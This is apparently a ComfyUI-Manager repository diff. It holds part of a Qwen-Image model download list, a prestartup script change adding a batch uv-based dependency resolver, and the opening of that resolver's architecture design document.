"name": "Qwen 2.5 VL 7B Text Encoder (fp8_scaled)",
"type": "clip",
"base": "Qwen-2.5-VL",
"save_path": "text_encoders/qwen",
"description": "Qwen 2.5 VL 7B text encoder model (fp8_scaled)",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
"filename": "qwen_2.5_vl_7b_fp8_scaled.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors",
"size": "3.75GB"
},
{
"name": "Qwen 2.5 VL 7B Text Encoder",
"type": "clip",
"base": "Qwen-2.5-VL",
"save_path": "text_encoders/qwen",
"description": "Qwen 2.5 VL 7B text encoder model",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
"filename": "qwen_2.5_vl_7b.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/text_encoders/qwen_2.5_vl_7b.safetensors",
"size": "7.51GB"
},
{
"name": "Qwen-Image Diffusion Model (fp8_e4m3fn)",
"type": "diffusion_model",
"base": "Qwen-Image",
"save_path": "diffusion_models/qwen-image",
"description": "Qwen-Image diffusion model (fp8_e4m3fn)",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
"filename": "qwen_image_fp8_e4m3fn.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_fp8_e4m3fn.safetensors",
"size": "4.89GB"
},
{
"name": "Qwen-Image Diffusion Model (bf16)",
"type": "diffusion_model",
"base": "Qwen-Image",
"save_path": "diffusion_models/qwen-image",
"description": "Qwen-Image diffusion model (bf16)",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
"filename": "qwen_image_bf16.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_bf16.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Edit 2509 Diffusion Model (fp8_e4m3fn)",
"type": "diffusion_model",
"base": "Qwen-Image-Edit",
"save_path": "diffusion_models/qwen-image-edit",
"description": "Qwen-Image-Edit 2509 diffusion model (fp8_e4m3fn)",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI",
"filename": "qwen_image_edit_2509_fp8_e4m3fn.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_2509_fp8_e4m3fn.safetensors",
"size": "4.89GB"
},
{
"name": "Qwen-Image-Edit 2509 Diffusion Model (bf16)",
"type": "diffusion_model",
"base": "Qwen-Image-Edit",
"save_path": "diffusion_models/qwen-image-edit",
"description": "Qwen-Image-Edit 2509 diffusion model (bf16)",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI",
"filename": "qwen_image_edit_2509_bf16.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_2509_bf16.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Edit Diffusion Model (fp8_e4m3fn)",
"type": "diffusion_model",
"base": "Qwen-Image-Edit",
"save_path": "diffusion_models/qwen-image-edit",
"description": "Qwen-Image-Edit diffusion model (fp8_e4m3fn)",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI",
"filename": "qwen_image_edit_fp8_e4m3fn.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_fp8_e4m3fn.safetensors",
"size": "4.89GB"
},
{
"name": "Qwen-Image-Edit Diffusion Model (bf16)",
"type": "diffusion_model",
"base": "Qwen-Image-Edit",
"save_path": "diffusion_models/qwen-image-edit",
"description": "Qwen-Image-Edit diffusion model (bf16)",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI",
"filename": "qwen_image_edit_bf16.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_bf16.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Lightning 8steps V1.0",
"type": "lora",
"base": "Qwen-Image",
"save_path": "loras/qwen-image-lightning",
"description": "Qwen-Image-Lightning 8-step LoRA model V1.0",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Lightning-8steps-V1.0.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V1.0.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Lightning 4steps V1.0",
"type": "lora",
"base": "Qwen-Image",
"save_path": "loras/qwen-image-lightning",
"description": "Qwen-Image-Lightning 4-step LoRA model V1.0",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Lightning-4steps-V1.0.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-4steps-V1.0.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Lightning 4steps V1.0 (bf16)",
"type": "lora",
"base": "Qwen-Image",
"save_path": "loras/qwen-image-lightning",
"description": "Qwen-Image-Lightning 4-step LoRA model V1.0 (bf16)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Lightning-4steps-V1.0-bf16.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-4steps-V1.0-bf16.safetensors",
"size": "19.6GB"
},
{
"name": "Qwen-Image-Lightning 4steps V2.0",
"type": "lora",
"base": "Qwen-Image",
"save_path": "loras/qwen-image-lightning",
"description": "Qwen-Image-Lightning 4-step LoRA model V2.0",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Lightning-4steps-V2.0.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-4steps-V2.0.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Lightning 4steps V2.0 (bf16)",
"type": "lora",
"base": "Qwen-Image",
"save_path": "loras/qwen-image-lightning",
"description": "Qwen-Image-Lightning 4-step LoRA model V2.0 (bf16)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Lightning-4steps-V2.0-bf16.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-4steps-V2.0-bf16.safetensors",
"size": "19.6GB"
},
{
"name": "Qwen-Image-Lightning 8steps V1.1",
"type": "lora",
"base": "Qwen-Image",
"save_path": "loras/qwen-image-lightning",
"description": "Qwen-Image-Lightning 8-step LoRA model V1.1",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Lightning-8steps-V1.1.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V1.1.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Lightning 8steps V1.1 (bf16)",
"type": "lora",
"base": "Qwen-Image",
"save_path": "loras/qwen-image-lightning",
"description": "Qwen-Image-Lightning 8-step LoRA model V1.1 (bf16)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Lightning-8steps-V1.1-bf16.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V1.1-bf16.safetensors",
"size": "19.6GB"
},
{
"name": "Qwen-Image-Lightning 8steps V2.0",
"type": "lora",
"base": "Qwen-Image",
"save_path": "loras/qwen-image-lightning",
"description": "Qwen-Image-Lightning 8-step LoRA model V2.0",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Lightning-8steps-V2.0.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V2.0.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Lightning 8steps V2.0 (bf16)",
"type": "lora",
"base": "Qwen-Image",
"save_path": "loras/qwen-image-lightning",
"description": "Qwen-Image-Lightning 8-step LoRA model V2.0 (bf16)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Lightning-8steps-V2.0-bf16.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V2.0-bf16.safetensors",
"size": "19.6GB"
},
{
"name": "Qwen-Image-Edit-Lightning 4steps V1.0",
"type": "lora",
"base": "Qwen-Image-Edit",
"save_path": "loras/qwen-image-edit-lightning",
"description": "Qwen-Image-Edit-Lightning 4-step LoRA model V1.0",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Edit-Lightning-4steps-V1.0.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-Lightning-4steps-V1.0.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Edit-Lightning 4steps V1.0 (bf16)",
"type": "lora",
"base": "Qwen-Image-Edit",
"save_path": "loras/qwen-image-edit-lightning",
"description": "Qwen-Image-Edit-Lightning 4-step LoRA model V1.0 (bf16)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Edit-Lightning-4steps-V1.0-bf16.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-Lightning-4steps-V1.0-bf16.safetensors",
"size": "19.6GB"
},
{
"name": "Qwen-Image-Edit-Lightning 8steps V1.0",
"type": "lora",
"base": "Qwen-Image-Edit",
"save_path": "loras/qwen-image-edit-lightning",
"description": "Qwen-Image-Edit-Lightning 8-step LoRA model V1.0",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Edit-Lightning-8steps-V1.0.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-Lightning-8steps-V1.0.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Edit-Lightning 8steps V1.0 (bf16)",
"type": "lora",
"base": "Qwen-Image-Edit",
"save_path": "loras/qwen-image-edit-lightning",
"description": "Qwen-Image-Edit-Lightning 8-step LoRA model V1.0 (bf16)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Edit-Lightning-8steps-V1.0-bf16.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-Lightning-8steps-V1.0-bf16.safetensors",
"size": "19.6GB"
},
{
"name": "Qwen-Image-Edit-2509-Lightning 4steps V1.0 (bf16)",
"type": "lora",
"base": "Qwen-Image-Edit",
"save_path": "loras/qwen-image-edit-lightning",
"description": "Qwen-Image-Edit-2509-Lightning 4-step LoRA model V1.0 (bf16)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors",
"size": "19.6GB"
},
{
"name": "Qwen-Image-Edit-2509-Lightning 4steps V1.0 (fp32)",
"type": "lora",
"base": "Qwen-Image-Edit",
"save_path": "loras/qwen-image-edit-lightning",
"description": "Qwen-Image-Edit-2509-Lightning 4-step LoRA model V1.0 (fp32)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Edit-2509-Lightning-4steps-V1.0-fp32.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-4steps-V1.0-fp32.safetensors",
"size": "39.1GB"
},
{
"name": "Qwen-Image-Edit-2509-Lightning 8steps V1.0 (bf16)",
"type": "lora",
"base": "Qwen-Image-Edit",
"save_path": "loras/qwen-image-edit-lightning",
"description": "Qwen-Image-Edit-2509-Lightning 8-step LoRA model V1.0 (bf16)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Edit-2509-Lightning-8steps-V1.0-bf16.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-8steps-V1.0-bf16.safetensors",
"size": "19.6GB"
},
{
"name": "Qwen-Image-Edit-2509-Lightning 8steps V1.0 (fp32)",
"type": "lora",
"base": "Qwen-Image-Edit",
"save_path": "loras/qwen-image-edit-lightning",
"description": "Qwen-Image-Edit-2509-Lightning 8-step LoRA model V1.0 (fp32)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Edit-2509-Lightning-8steps-V1.0-fp32.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-8steps-V1.0-fp32.safetensors",
"size": "39.1GB"
},
{
"name": "Qwen-Image InstantX ControlNet Union",
"type": "controlnet",
"base": "Qwen-Image",
"save_path": "controlnet/qwen-image/instantx",
"description": "Qwen-Image InstantX ControlNet Union model",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-InstantX-ControlNets",
"filename": "Qwen-Image-InstantX-ControlNet-Union.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-InstantX-ControlNets/resolve/main/split_files/controlnet/Qwen-Image-InstantX-ControlNet-Union.safetensors",
"size": "2.54GB"
},
{
"name": "Qwen-Image InstantX ControlNet Inpainting",
"type": "controlnet",
"base": "Qwen-Image",
"save_path": "controlnet/qwen-image/instantx",
"description": "Qwen-Image InstantX ControlNet Inpainting model",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-InstantX-ControlNets",
"filename": "Qwen-Image-InstantX-ControlNet-Inpainting.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-InstantX-ControlNets/resolve/main/split_files/controlnet/Qwen-Image-InstantX-ControlNet-Inpainting.safetensors",
"size": "2.54GB"
}
]
}
}
+55 -23
View File
@@ -16,25 +16,11 @@ from .common import security_check
from .common import manager_util
from .common import cm_global
from .common import manager_downloader
from .common.timestamp_utils import current_timestamp
import folder_paths
manager_util.add_python_path_to_env()
import datetime as dt
if hasattr(dt, 'datetime'):
from datetime import datetime as dt_datetime
def current_timestamp():
return dt_datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
else:
# NOTE: Occurs in some Mac environments.
import time
logging.error(f"[ComfyUI-Manager] fallback timestamp mode\n datetime module is invalid: '{dt.__file__}'")
def current_timestamp():
return str(time.time()).split('.')[0]
cm_global.pip_blacklist = {'torch', 'torchaudio', 'torchsde', 'torchvision'}
cm_global.pip_downgrade_blacklist = ['torch', 'torchaudio', 'torchsde', 'torchvision', 'transformers', 'safetensors', 'kornia']
@@ -80,7 +66,7 @@ cm_global.register_api('cm.is_import_failed_extension', is_import_failed_extensi
comfyui_manager_path = os.path.abspath(os.path.dirname(__file__))
custom_nodes_base_path = folder_paths.get_folder_paths('custom_nodes')[0]
manager_files_path = os.path.abspath(os.path.join(folder_paths.get_user_directory(), 'default', 'ComfyUI-Manager'))
manager_files_path = folder_paths.get_system_user_directory("manager")
manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
restore_snapshot_path = os.path.join(manager_files_path, "startup-scripts", "restore-snapshot.json")
@@ -102,6 +88,11 @@ def read_uv_mode():
if 'use_uv' in default_conf:
manager_util.use_uv = default_conf['use_uv'].lower() == 'true'
def read_unified_resolver_mode():
if 'use_unified_resolver' in default_conf:
manager_util.use_unified_resolver = default_conf['use_unified_resolver'].lower() == 'true'
def check_file_logging():
global enable_file_logging
if 'file_logging' in default_conf and default_conf['file_logging'].lower() == 'false':
@@ -110,9 +101,14 @@ def check_file_logging():
read_config()
read_uv_mode()
read_unified_resolver_mode()
security_check.security_check()
check_file_logging()
# Module-level flag set by startup batch resolver when it succeeds.
# Used by execute_lazy_install_script() to skip per-node pip installs.
_unified_resolver_succeeded = False
cm_global.pip_overrides = {}
if os.path.exists(manager_pip_overrides_path):
@@ -354,10 +350,13 @@ try:
pass
with std_log_lock:
if self.is_stdout:
original_stdout.flush()
else:
original_stderr.flush()
try:
if self.is_stdout:
original_stdout.flush()
else:
original_stderr.flush()
except (OSError, ValueError):
pass
def close(self):
self.flush()
@@ -483,7 +482,7 @@ check_bypass_ssl()
# Perform install
processed_install = set()
script_list_path = os.path.join(folder_paths.user_directory, "default", "ComfyUI-Manager", "startup-scripts", "install-scripts.txt")
script_list_path = os.path.join(manager_files_path, "startup-scripts", "install-scripts.txt")
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, manager_files_path)
@@ -571,7 +570,7 @@ if os.path.exists(restore_snapshot_path):
if 'COMFYUI_PATH' not in new_env:
new_env['COMFYUI_PATH'] = os.path.dirname(folder_paths.__file__)
cmd_str = [sys.executable, '-m', 'comfyui_manager.cm_cli', 'restore-snapshot', restore_snapshot_path]
cmd_str = [sys.executable, '-m', 'cm_cli', 'restore-snapshot', restore_snapshot_path]
exit_code = process_wrap(cmd_str, custom_nodes_base_path, handler=msg_capture, env=new_env)
if exit_code != 0:
@@ -592,7 +591,8 @@ def execute_lazy_install_script(repo_path, executable):
install_script_path = os.path.join(repo_path, "install.py")
requirements_path = os.path.join(repo_path, "requirements.txt")
if os.path.exists(requirements_path):
if os.path.exists(requirements_path) and not _unified_resolver_succeeded:
# Per-node pip install: only runs if unified resolver is disabled or failed
print(f"Install: pip packages for '{repo_path}'")
lines = manager_util.robust_readlines(requirements_path)
@@ -762,6 +762,38 @@ def execute_startup_script():
print("#######################################################################\n")
# --- Unified dependency resolver: batch resolution at startup ---
# Runs unconditionally when enabled, independent of install-scripts.txt existence.
if manager_util.use_unified_resolver:
try:
from .common.unified_dep_resolver import (
UnifiedDepResolver,
UvNotAvailableError,
collect_base_requirements,
collect_node_pack_paths,
)
_resolver = UnifiedDepResolver(
node_pack_paths=collect_node_pack_paths(folder_paths.get_folder_paths('custom_nodes')),
base_requirements=collect_base_requirements(comfy_path),
blacklist=set(),
overrides={},
downgrade_blacklist=[],
)
_result = _resolver.resolve_and_install()
if _result.success:
_unified_resolver_succeeded = True
logging.info("[UnifiedDepResolver] startup batch resolution succeeded")
else:
manager_util.use_unified_resolver = False
logging.warning("[UnifiedDepResolver] startup batch failed: %s, falling back to per-node pip", _result.error)
except UvNotAvailableError:
manager_util.use_unified_resolver = False
logging.warning("[UnifiedDepResolver] uv not available at startup, falling back to per-node pip")
except Exception as e:
manager_util.use_unified_resolver = False
logging.warning("[UnifiedDepResolver] startup error: %s, falling back to per-node pip", e)
# Check if script_list_path exists
if os.path.exists(script_list_path):
execute_startup_script()
@@ -0,0 +1,812 @@
# Architecture Design: Unified Dependency Resolver
## 1. System Architecture
### 1.1 Module Location
```
comfyui_manager/
├── glob/
│ └── manager_core.py # Existing: execute_install_script() call sites (2 locations)
├── common/
│ ├── manager_util.py # Existing: get_pip_cmd(), PIPFixer, use_uv flag
│ ├── cm_global.py # Existing: pip_overrides, pip_blacklist (runtime dynamic assignment)
│ └── unified_dep_resolver.py # New: Unified dependency resolution module
├── prestartup_script.py # Existing: config reading, remap_pip_package, cm_global initialization
└── legacy/
└── manager_core.py # Legacy (not a modification target)
cm_cli/
└── __main__.py # CLI entry: uv-compile command (on-demand batch resolution)
```
The new module `unified_dep_resolver.py` is added to the `comfyui_manager/common/` directory.
It reuses `manager_util` utilities and `cm_global` global state from the same package.
> **Warning**: `cm_global.pip_overrides`, `pip_blacklist`, `pip_downgrade_blacklist` are
> NOT defined in `cm_global.py`. They are **dynamically assigned** during `prestartup_script.py` execution.
> In v1 unified mode, these are **not applied** — empty values are passed to the resolver constructor.
> The constructor interface accepts them for future extensibility (defaults to empty when `None`).
>
> **[DEFERRED]** Reading actual `cm_global` values at startup is deferred to a future version.
> The startup batch resolver in `prestartup_script.py` currently passes `blacklist=set()`,
> `overrides={}`, `downgrade_blacklist=[]`. The constructor and internal methods
> (`_remap_package`, `_is_downgrade_blacklisted`, blacklist check) are fully implemented
> and will work once real values are provided.
### 1.2 Overall Flow
```mermaid
flowchart TD
subgraph INSTALL_TIME["Install Time (immediate)"]
MC["manager_core.py<br/>execute_install_script() — 2 locations"]
MC -->|"use_unified_resolver=True"| SKIP["Skip per-node pip install<br/>(deps deferred to restart)"]
MC -->|"use_unified_resolver=False"| PIP["Existing pip install loop"]
SKIP --> INST["Run install.py"]
PIP --> INST
end
subgraph STARTUP["ComfyUI Restart (prestartup_script.py)"]
CHK{use_unified_resolver?}
CHK -->|Yes| UDR
CHK -->|No| LAZY["execute_lazy_install_script()<br/>per-node pip install (existing)"]
subgraph UDR["UnifiedDepResolver (batch)"]
S1["1. collect_requirements()<br/>(ALL installed node packs)"]
S2["2. compile_lockfile()"]
S3["3. install_from_lockfile()"]
S1 --> S2 --> S3
end
UDR -->|Success| FIX["PIPFixer.fix_broken()"]
UDR -->|Failure| LAZY
LAZY --> FIX2["PIPFixer.fix_broken()"]
end
```
> **Key design change**: The unified resolver runs at **startup time** (module scope), not at install time.
> At install time, `execute_install_script()` skips the pip loop when unified mode is active.
> At startup, `prestartup_script.py` runs the resolver at module scope — unconditionally when enabled,
> independent of `install-scripts.txt` existence. Blacklist/overrides/downgrade_blacklist are bypassed
> (empty values passed); `uv pip compile` handles all conflict resolution natively.
>
> **Note**: `execute_install_script()` exists in 2 locations in the codebase (excluding legacy module).
> - `UnifiedManager.execute_install_script()` (class method): Used for CNR installs, etc.
> - Standalone function `execute_install_script()`: Used for updates, git installs, etc.
> Both skip per-node pip install when unified mode is active.
### 1.3 uv Command Strategy
**`uv pip compile`** → Generates pinned requirements.txt (pip-compatible)
- Do not confuse with `uv lock`
- `uv lock` generates `uv.lock` (TOML) — cross-platform but incompatible with pip workflows
- This design uses a pip-compatible workflow (`uv pip compile``uv pip install -r`)
**`uv pip install -r`** ← Used instead of `uv pip sync`
- `uv pip sync`: **Deletes** packages not in lockfile → Risk of removing torch, ComfyUI deps
- `uv pip install -r`: Only performs additive installs, preserves existing packages → Safe
---
## 2. Class Design
### 2.1 UnifiedDepResolver
```python
class UnifiedDepResolver:
"""
Unified dependency resolver.
Resolves and installs all dependencies of (installed node packs + new node packs)
at once using uv.
Responsibility scope: Dependency resolution and installation only.
install.py execution and PIPFixer calls are handled by the caller (manager_core).
"""
def __init__(
self,
node_pack_paths: list[str],
base_requirements: list[str] | None = None,
blacklist: set[str] | None = None,
overrides: dict[str, str] | None = None,
downgrade_blacklist: list[str] | None = None,
):
"""
Args:
node_pack_paths: List of node pack directory paths
base_requirements: Base dependencies (ComfyUI requirements, etc.)
blacklist: Blacklisted package set (default: empty set; not applied in v1 unified mode)
overrides: Package name remapping dict (default: empty dict; not applied in v1 unified mode)
downgrade_blacklist: Downgrade-prohibited package list (default: empty list; not applied in v1 unified mode)
"""
def resolve_and_install(self) -> ResolveResult:
"""Execute full pipeline: stale cleanup → collect → compile → install.
Calls cleanup_stale_tmp() at start to clean up residual files from previous abnormal terminations."""
def collect_requirements(self) -> CollectedDeps:
"""Collect dependencies from all node packs"""
def compile_lockfile(self, deps: CollectedDeps) -> LockfileResult:
"""Generate pinned requirements via uv pip compile"""
def install_from_lockfile(self, lockfile_path: str) -> InstallResult:
"""Install from pinned requirements (uv pip install -r)"""
```
### 2.2 Data Classes
```python
@dataclass
class PackageRequirement:
"""Individual package dependency"""
name: str # Package name (normalized)
spec: str # Original spec (e.g., "torch>=2.0")
source: str # Source node pack path
@dataclass
class CollectedDeps:
"""All collected dependencies"""
requirements: list[PackageRequirement] # Collected deps (duplicates allowed, uv resolves)
skipped: list[tuple[str, str]] # (package_name, skip_reason)
sources: dict[str, list[tuple[str, str]]] # {package_name: [(pack_path, pkg_spec), ...]}
"""pkg_name → [(pack_path, pkg_spec), ...] — tracks which node packs request each package."""
extra_index_urls: list[str] # Additional index URLs separated from --index-url entries
@dataclass
class LockfileResult:
"""Compilation result"""
success: bool
lockfile_path: str | None # pinned requirements.txt path
conflicts: list[str] # Conflict details
stderr: str # uv error output
@dataclass
class InstallResult:
"""Installation result (uv pip install -r is atomic: all-or-nothing)"""
success: bool
installed: list[str] # Installed packages (stdout parsing)
skipped: list[str] # Already installed (stdout parsing)
stderr: str # uv stderr output (for failure analysis)
@dataclass
class ResolveResult:
"""Full pipeline result"""
success: bool
collected: CollectedDeps | None
lockfile: LockfileResult | None
install: InstallResult | None
error: str | None
```
---
## 3. Core Logic Details
### 3.1 Dependency Collection (`collect_requirements`)
```python
# Input sanitization: dangerous patterns to reject
_DANGEROUS_PATTERNS = re.compile(
r'^(-r\b|--requirement\b|-e\b|--editable\b|-c\b|--constraint\b'
r'|--find-links\b|-f\b|.*@\s*file://)',
re.IGNORECASE
)
def collect_requirements(self) -> CollectedDeps:
requirements = []
skipped = []
sources = defaultdict(list)
extra_index_urls = []
for path in self.node_pack_paths:
# Exclude disabled node packs (directory-based mechanism)
# Disabled node packs are actually moved to custom_nodes/.disabled/,
# so they should already be excluded from input at this point.
# Defensive check: new style (.disabled/ directory) + old style ({name}.disabled suffix)
if ('/.disabled/' in path
or os.path.basename(os.path.dirname(path)) == '.disabled'
or path.rstrip('/').endswith('.disabled')):
continue
req_file = os.path.join(path, "requirements.txt")
if not os.path.exists(req_file):
continue
# chardet-based encoding detection (existing robust_readlines pattern)
for line in self._read_requirements(req_file):
line = line.split('#')[0].strip()
if not line:
continue
# 0. Input sanitization (security)
if self._DANGEROUS_PATTERNS.match(line):
skipped.append((line, f"rejected: dangerous pattern in {path}"))
logging.warning(f"[UnifiedDepResolver] rejected dangerous line: '{line}' from {path}")
continue
# 1. Separate --index-url / --extra-index-url handling
# (BEFORE path separator check, because URLs contain '/')
if '--index-url' in line or '--extra-index-url' in line:
pkg_spec, index_url = self._split_index_url(line)
if index_url:
extra_index_urls.append(index_url)
line = pkg_spec
if not line:
# Standalone option line (no package prefix)
continue
# 1b. Reject path separators in package name portion
pkg_name_part = re.split(r'[><=!~;]', line)[0]
if '/' in pkg_name_part or '\\' in pkg_name_part:
skipped.append((line, f"rejected: path separator in package name"))
continue
# 2. Apply remap_pip_package (using cm_global.pip_overrides)
pkg_spec = self._remap_package(line)
# 3. Blacklist check (cm_global.pip_blacklist)
pkg_name = self._extract_package_name(pkg_spec)
if pkg_name in self.blacklist:
skipped.append((pkg_spec, "blacklisted"))
continue
# 4. Downgrade blacklist check (includes version comparison)
if self._is_downgrade_blacklisted(pkg_name, pkg_spec):
skipped.append((pkg_spec, "downgrade blacklisted"))
continue
# 5. Collect (no dedup — uv handles resolution)
req = PackageRequirement(
name=pkg_name,
spec=pkg_spec,
source=path,
)
requirements.append(req)
sources[pkg_name].append((path, pkg_spec))
return CollectedDeps(
requirements=requirements,
skipped=skipped,
sources=dict(sources),
extra_index_urls=list(set(extra_index_urls)), # Deduplicate
)
def _split_index_url(self, line: str) -> tuple[str, str | None]:
"""Split 'package_name --index-url URL' → (package_name, URL).
Also handles standalone ``--index-url URL`` and
``--extra-index-url URL`` lines (with no package prefix).
"""
# Handle --extra-index-url first (contains '-index-url' as substring
# but NOT '--index-url' due to the extra-index prefix)
for option in ('--extra-index-url', '--index-url'):
if option in line:
parts = line.split(option, 1)
pkg_spec = parts[0].strip()
url = parts[1].strip() if len(parts) == 2 else None
return pkg_spec, url
return line, None
def _is_downgrade_blacklisted(self, pkg_name: str, pkg_spec: str) -> bool:
"""Reproduce the downgrade version comparison from existing is_blacklisted() logic.
Same logic as manager_core.py's is_blacklisted():
- No version spec and already installed → block (prevent reinstall)
- Operator is one of ['<=', '==', '<', '~='] and
installed version >= requested version → block (prevent downgrade)
- Version comparison uses manager_util.StrictVersion (NOT packaging.version)
"""
if pkg_name not in self.downgrade_blacklist:
return False
installed_packages = manager_util.get_installed_packages()
# Version spec parsing (same pattern as existing is_blacklisted())
pattern = r'([^<>!~=]+)([<>!~=]=?)([^ ]*)'
match = re.search(pattern, pkg_spec)
if match is None:
# No version spec: prevent reinstall if already installed
if pkg_name in installed_packages:
return True
elif match.group(2) in ['<=', '==', '<', '~=']:
# Downgrade operator: block if installed version >= requested version
if pkg_name in installed_packages:
try:
installed_ver = manager_util.StrictVersion(installed_packages[pkg_name])
requested_ver = manager_util.StrictVersion(match.group(3))
if installed_ver >= requested_ver:
return True
except (ValueError, TypeError):
logging.warning(f"[UnifiedDepResolver] version parse failed: {pkg_spec}")
return False
return False
def _remap_package(self, pkg: str) -> str:
"""Package name remapping based on cm_global.pip_overrides.
Reuses existing remap_pip_package() logic."""
if pkg in self.overrides:
remapped = self.overrides[pkg]
logging.info(f"[UnifiedDepResolver] '{pkg}' remapped to '{remapped}'")
return remapped
return pkg
```
### 3.2 Lockfile Generation (`compile_lockfile`)
**Behavior:**
1. Create a unique temp directory (`tempfile.mkdtemp(prefix="comfyui_resolver_")`) for concurrency safety
2. Write collected requirements and base constraints to temp files
3. Execute `uv pip compile` with options:
- `--output-file` (pinned requirements path within temp dir)
